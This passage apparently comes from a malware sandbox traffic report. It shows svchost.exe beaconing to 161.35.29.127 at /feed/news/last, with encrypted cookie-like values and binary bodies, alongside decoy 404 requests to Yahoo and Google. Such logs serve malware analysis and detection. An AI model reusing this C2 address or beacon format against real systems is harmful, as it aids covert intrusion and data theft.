HSID=OdZG7kmooMYb0ZIQQknh5%2B2XKttCocYFT%2FuIYb7HOI9NBgVM0LKnPUlj5uIx%2F64O1R1bZeSfrbGKG6wvyASbxICkTRbN829GFdoYXbDuISZOWsSdZm4%2F9YQqkFjvdxMcc%2FJWTfsQl4n2aO6nGkkWMQy%2FTl9RIXUNVIr7GPVk2%2B5GBQxpJgwHA1LHms%2B0xVSpW2uPOOjPhvcvc5Hc5p%2B9xDshljnWJhkWMulEgUXS%2BzK%2FaBkBEpSQOkCvHUa79mYRhbOVwd0BXSgv%2F7CJ5vZqssMuL8BsDwAI9leQsIP0A0FOoWta30SUPCozENT56HuBqaLYCT5bTvptHx99oy1CVQ%3D%3D;SIDCC=8UQK%2FQdkJCXHsKi8gB1WPexqjmBfVIPnHAGk9U2WK0EV3AqmwX%2Bjkp4usB6ZeakalgbBWOJZ5YwDgqDv3APWI8884DnFcysej%2FjakQHlpRc1llCXRIyIxI3Y19mfYtbeqkAyVXTy1IVLWqA4TXegRo%2BvDkiNPif%2FhgoVfTkKLKb56rdA6gAmlmJuqWxRbCiW%2B9iCSOE05pGGEJ768rnHeeL5qlDhIk0lh6lwdokj5X1juH7nQVc0LY0i4JgWvz5btoyaO5SspRzzsuKAveCUyLQes9Kc7vvPPgqZ904p0ynDgupVRdIGl%2B7%2BUkcJXDt6fzX24W%2BBHFlPLhqVwCntJA%3D%3D;SID=nD%2FbQoFX%2FNtVVAB9C52FmSurA6tJFL9BNia4%2FzQqJSCGcsT6Fw1Z02%2BoG2AkSaKb6%2Fu202lbLntnQiKo033QQJlXMgKGKPL%2Fa%2FJBChUpC4Z%2B%2F%2FF6xXKsgtIbinHHAfiDGiPWCdllN83E29hLRoxeEG%2FUvSSLYB1YR66%2BUOtSLT4SYT5cjGWQyeV%2Bf4B2%2Ftd3p6qnG2Vu4VSlVCVdkGpOq8IFJS79L9yAXLrBcRHO6sa98ROyzg9CYHs%2Be%2FszhByFpl97dipi1uj6W3lATnHNWEwU52%2B2ep9%2B58Rqt8KB9eWkSYANY%2Fpc7%2BZKCnM8CYYu5j0CqQoJbmNqMuPvoj5LBw%3D%3D;SSID=4Dd6mydlZv%2BnnRseeQ6aUJcccU9g0TF0%2B3cr5UEt7%2FPVzvsI3zu4lbnu%2FZw0pyO6HpDs3DxVfrsHVLGS9fmcytqn22Tz3C9Rkw39KgixkYFyMGEdunpkpFYLz84%2Fjfw7xZ6%2FTUSkGGEq5FuNLHgl5QS6JEMRa24TnVhzPImRZbieSAeAqbAwdGrJczEWBYxOyygWVXGhNRBLs%2BKBcBcjEmfo6v32802bfx99dKfmpeRtD2OSZEQYhN04wXZsbnJgtw8rh01yAkfNwDr3m6bNAWr%2BG%2Fy06Pe2frPXvjOgEFE8EwyCoi%2FZurbTC2uoMhNcNgsLIqLpzhAqmlVNQgjb2A%3D%3D; X-Tag: b45sn7zM%2B0YVR7V7SpPseb2OzvDoYZd6RDYz7DmzIDl0gLxuPu26fspzsM07dHp2Gcd9ckh14Aqg%2FOPgR%2BAli7LoskqWjb4EeDduuDzW7%2B9XhvKULosCjDxgLsE%2F2f3IzFiQ179ivXF9gzoZaNQMxWLtlKQpMGLwUPvctFpHZljHUXvn3vbPjfha%2Bsg1KM%2FA4DByJAJLQHP0xHGhN%2Fww32j0JIXHLzMgNVno2hTAPpZX3cKJXlUxv5ycGqcLKaj7LDypm%2BOxzDtdHwHAdIb2iICoTGqSX8aVYdSv48QJOo1lodyZvHLkEfNZw5dcSJbcBamlnRLK%2Fv%2F2wkUPmv2o8g%3D%3D X-Csrf-Token: Zcv7pjGOVIadC2F1PY9IT7p8lARY%2Frtk4%2Fqzc5f1MmP19VoQj5V0ctS3BA4cutUyX2wvy1JycRLE%2BoQBXwrgYjFDeNCMlqFKqukbmjV7OAW7dDRAN%2BhvqcOWRqoT7E82aT%2FIdDWQQlM1CflnNua5kjtWBiXnxc%2FPN6a9CTBOJI%2BmqAz8Q4AcbexWiRFfOkQejREDiZoWweWYxX9jQxmjGNtPcHcW1xxxs%2FOJ2NxIDcfrezFwoU2saKicpEmYlscrvutHm991A9RYDiwH5EE0WbfN0WGLqzYCmAIYK4%2BzcaD6legwQOiS5wUNDkWnuLWi09Ozq2tR6lHEaKEsY0tVMA%3D%3D X-Request-ID: Jl5OaWvM8RCY3bZ0GF6%2BMC36c3nlgS7IHMgDQaR1pl4jY1qVG5eDgojWQXQmK46I9BLWXvF4xsGskT7xEktJlUT9JeKAB6Yo4dOfaTIuC7px6gPFbHHlX%2B0xnH3MSZP4peD614f1gZ62F3oyteCbuT2ThlnYOpMnuzeL3OlXgRDQEQUWTcTCPt8h6fi0FOm5gHupMzc%2Bjmmzm%2BoF5qkN0jE%2BPqxRvzwyYX1Zlxahokwj1jABpU3bvjWiG6nMpUwqZCxWARXIx1WN7K7KsH367WVYZEN0ylKZ%2F7mtQTFyB16jLq%2F%2BFvK2h1ZcTq0EQb0684FFBw6K27KIKcmrYInmvw%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:54:29 UTC	1083	OUT	Data Raw: 6e 2f 71 c1 43 1c ea f2 db b1 76 57 d1 21 2e c5 c8 03 36 6a a8 eb 93 e3 5c d7 80 92 e8 d5 cb da 3c 15 fe 58 eb a2 a8 ea 73 7a dd c0 7d b6 ad 0a f3 95 c3 81 28 1b fe fb 47 ab ca d7 df 7e 75 a2 2c fc 9e be 21 92 1e 0b 1a 92 bb f7 15 7a 90 4c fb 2e 72 d0 7f ef 00 62 b5 61 2c f8 5e c6 10 19 07 a6 7e e2 3b 03 53 fc b9 8e 77 ac 70 8e 7d 55 93 47 9d e1 96 b8 1e 98 d3 52 34 95 14 da 79 75 3a 46 53 dc 19 7b 6a 8d 31 25 04 dc 03 58 67 76 a8 06 23 1d 97 b1 c7 9d 4d aa 7a 1a 2f 69 06 85 09 f3 63 89 16 a2 fc e7 bd 52 7e cb 1f 22 70 a6 ab b5 78 ba ea 0e e0 4a 2f 33 86 78 c2 44 ec b6 17 a5 43 f7 3b 24 e8 5b 48 c7 60 20 78 d1 04 d2 73 43 de fa dc 26 dd 9c cc 4e 0d 7e cc 4f 1e 45 93 4c a8 8c bb 0c 93 81 2e 3b 65 2e 5e c9 b1 3e 6b a8 e2 e3 a9 6b 8b d5 38 69 03 aa 9b 8d cf Data Ascii: n/qCvW!.6j\<Xsz}(G~u,!zL.rba,^~;Swp}UGR4yu:FS{j1%Xgv#Mz/icR~"pxJ/3xDC;$[H` xsC&N~OEL.;e.^>kk8i
2021-09-28 07:54:32 UTC	1093	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:31 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.3	50048	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:29 UTC	1083	OUT	GET /ce8pX23qvo5mlqEd8ov9wwze1sudj/b6lmlqa2d1zarfp3ae1/Xnveev4mckesKzXGtKzdgje8s/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:29 UTC	1083	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:29 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 724 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0rbkac9gl5ihl&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:29 UTC	1085	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:29 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:29 UTC	1085	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 63 65 38 70 58 32 33 71 76 6f 35 6d 6c 71 45 64 38 6f 76 39 77 77 7a 65 31 73 75 64 6a 25 32 66 62 36 6c 6d 6c 71 61 32 64 31 7a 61 72 66 70 33 61 65 31 25 32 66 58 6e 76 65 65 76 34 6d 63 6b 65 73 4b 7a 58 47 74 4b 7a 64 67 6a 65 38 73 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fce8pX23qvo5mlqEd8ov9wwze1sudj%2fb6lmlqa2d1zarfp3ae1%2fXnveev4mckesKzXGtKzdgje8s%2f';if(window!=window.top){ document.write('<p>Content is

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.3	50049	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:30 UTC	1086	OUT	GET /epmo7qZbPmqXfDGMjQibb/4u63rm5ZwhDwjsS72ioihcXB02q0yb5znrcAhkqn/niukNkhseiCa5pxbQJpl5sh3qjk8yzaWs3oz6gxrksdz91p/stpPyu3xk7f8saR9zt4U3HZTP0n2zncl6l/yned6fc0ZlgwgeUyfmmSx5d4lytj4Vtz0jy/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:30 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1743 Date: Tue, 28 Sep 2021 07:54:30 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:30 UTC	1086	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:30 UTC	1087	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.3	50050	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:30 UTC	1088	OUT	GET /8xnsjp0e26mtLcQ22sucoufkvdbm/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:30 UTC	1088	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:30 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 622 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=b5kvgvpgl5ihm&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:30 UTC	1090	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:30 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:30 UTC	1090	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 38 78 6e 73 6a 70 30 65 32 36 6d 74 4c 63 51 32 32 73 75 63 6f 75 66 6b 76 64 62 6d 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f8xnsjp0e26mtLcQ22sucoufkvdbm%2f';if(window!=window.top){ document.write('<p>Content is currently unavailable.</p><img src="//geo.yahoo.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.3	50052	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:30 UTC	1090	OUT	GET /ALgbzn5v54o9mLy2/D3sswzdzd0Zg26O6cT4ftm9bsgl6g9clzb/6qml9yxj2pVRh1gsm5ms1fd6wezX6Li8tI/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:31 UTC	1091	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:30 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 746 Age: 2 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=7qfs3vlgl5ihm&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:31 UTC	1092	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:31 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:31 UTC	1092	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 41 4c 67 62 7a 6e 35 76 35 34 6f 39 6d 4c 79 32 25 32 66 44 33 73 73 77 7a 64 7a 64 30 5a 67 32 36 4f 36 63 54 34 66 74 6d 39 62 73 67 6c 36 67 39 63 6c 7a 62 25 32 66 36 71 6d 6c 39 79 78 6a 32 70 56 52 68 31 67 73 6d 35 6d 73 31 66 64 36 77 65 7a 58 36 4c 69 38 74 49 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fALgbzn5v54o9mLy2%2fD3sswzdzd0Zg26O6cT4ftm9bsgl6g9clzb%2f6qml9yxj2pVRh1gsm5ms1fd6wezX6Li8tI%2f';if(window!=window.top){ document.write('<p

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49885	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:44 UTC	892	OUT	POST /feed/news/last HTTP/1.1 Cookie: HSID=Z6C3GhD%2F5BvcJm%2FaRUj469%2BHJwmyB8mjSiHpJ9n1AmJ0OoXMiyT%2FHU9pikVOrrJUIQ%2BKw0BKOYbvEmZUX9S8MCLVrbuIqMi5qdwkH4pWx36Idau7CfjWqSTzRTF9Qtgz%2Fanh3V%2FeswkDrF8jHgmTHpTZorVNTOi%2FIICX2c5cwXExc8E3ap0geRWUrQEOrJfRhsxA31v2irqTyNZfQkn1SFsdXrRUiPZfhM%2FrWtmBEBmfIraamHFOz8RzpfPiYyTt4%2BdeuifI9cFoYzlygcnMFVkbuEV6dGJ1Y%2BZm%2BWmIP3zEH3BoDJVhmXrcjAl3270R93kQtXXYc3gwz%2FW4MrdO3Q%3D%3D;SIDCC=ISeCUYSVOv8VcVMwxtloSynh3%2BQLCa9BxWZgg46gG%2BhytQCJONfev0XSZ9EtPURg%2BiofOl62bEQahpm2%2BnSzIXSlrOgWgQoZtV%2F62NZ535DbWzkdb3FnLTWYJYqfIzJKpJBs3zdt4KtO8x9Q%2BUSEWhRODhvzARn70dHkLfIAVNaq1IzYsaWekQL8BF%2BGd5H8O8aFqQKRU3nftUmoL97L3OzRiKpXR9dyv1Pv7PB0C7qhxJh67xHFh0pkVIciW67akWpmbMvcq6pFIJFBXb085SxdyJKeUoJW%2FaCojWx%2FXOIP2%2Fdz0LMps9EZt5VldIVxZhP7TEBd4TiL3X1NJfs8mQ%3D%3D;SID=IAobq7knjLXZH0frThfxR3R%2FGzarfTTjiVDhyJzADnqrxiJSDMb0kLurPbm0KOeg8T7BrPR%2FJ8%2FRQA2igOnINJuwL3kt9Q%2BAhvc4SbTyR%2Bk7mporYmNiYm3gTJYw3yW5lU7%2Ft1unL8qXf389HdeJ9HoE8qWSV%2FoSgUpEKHM5pgzyF7uJSklpK3apNISvCk8%2B0lsqrmZWeVLsYIbHQl3I%2BB2KMKdRgXiHiZBRuy2Mc7QNWPmrVHv5z5m0TLGLStbOM9T7w6zkqpUE0YHw1YxoqFlnpq9Y1D2yzXcrY127e%2FCdXB0AH%2FmarmtwYHCYsHLc5RG3QCUO1e%2FuRkTU9JXCnA%3D%3D;SSID=vRU3jfkSm0rrNlGXooc8LX7EP3GK%2BqmSmITJse9NpQASFioa0TK7uN3k3wU%2BuHiPjcrKYME0avlWNjmT1pyr%2FfZoG5TelqCmCOIYhNsCYy4NhbWT0mqc1ISVW4pXPefFvzg6%2BMv555HUPJXEeKSWWM%2B4%2FKc08N72GOamzza0tJZqdZY%2FL9EfkhYq11%2Bsw4TBCjcZwU3EGq3Ujx0riyzexZ%2B97qPBlcLRET41fcBP8Kk8Wc7ImZ%2BDZErbV0rK6hoXG15Au1jSHdX4Nl0lOjrEBXsDaZgWXEWhr4Cv5oN%2FYAAAz43GtVjj3d8hcUlM4NzW2KygbEg55%2FTJVLo31A3e5w%3D%3D; X-Tag: 